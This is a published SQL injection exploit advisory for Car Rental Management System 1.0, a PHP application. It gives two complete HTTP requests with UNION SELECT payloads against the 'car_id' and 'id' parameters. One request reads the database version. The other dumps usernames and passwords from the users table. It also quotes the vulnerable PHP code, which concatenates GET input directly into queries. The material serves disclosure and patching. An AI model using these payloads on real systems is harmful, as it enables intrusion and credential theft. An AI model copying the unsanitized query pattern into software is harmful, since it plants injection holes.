Car Rental Management System 1.0 - 'car_id' Sql Injection

# Exploit Title: Car Rental Management System 1.0 - 'car_id' Sql Injection
# Date: 2020-11.13
# Exploit Author: Mehmet Kelepçe / Gais Cyber Security
# Author ID: 8763
# Vendor Homepage: https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14544&title=Car+Rental+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Apache2 - Windows 10

Vulnerable param: car_id
-------------------------------------------------------------------------
GET /car_rental/booking.php?car_id=1+UNION+ALL+SELECT+1,@@VERSION,3,4,5,6,7,8,9,10# HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: setting=k; PHPSESSID=tsimparo2crmq2ibibnla5vean
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


Source Code:

booking.php:
--------------------------------------------------------------------
<?php
$qry = $conn->query("SELECT * FROM cars where id= ".$_GET['car_id']);
foreach($qry->fetch_array() as $k => $val){
                $$k=$val;
}

Vulnerable param: id
-------------------------------------------------------------------------
GET /car_rental/index.php?page=view_car&id=-3+union+all+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10+from+users# HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: setting=k; PHPSESSID=tsimparo2crmq2ibibnla5vean
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


Source Code:

view_car.php:
--------------------------------------------------------------------
<?php
if(isset($_GET['id'])){
if(isset($_GET['id'])){
$qry = $conn->query("SELECT * FROM cars where id= ".$_GET['id']);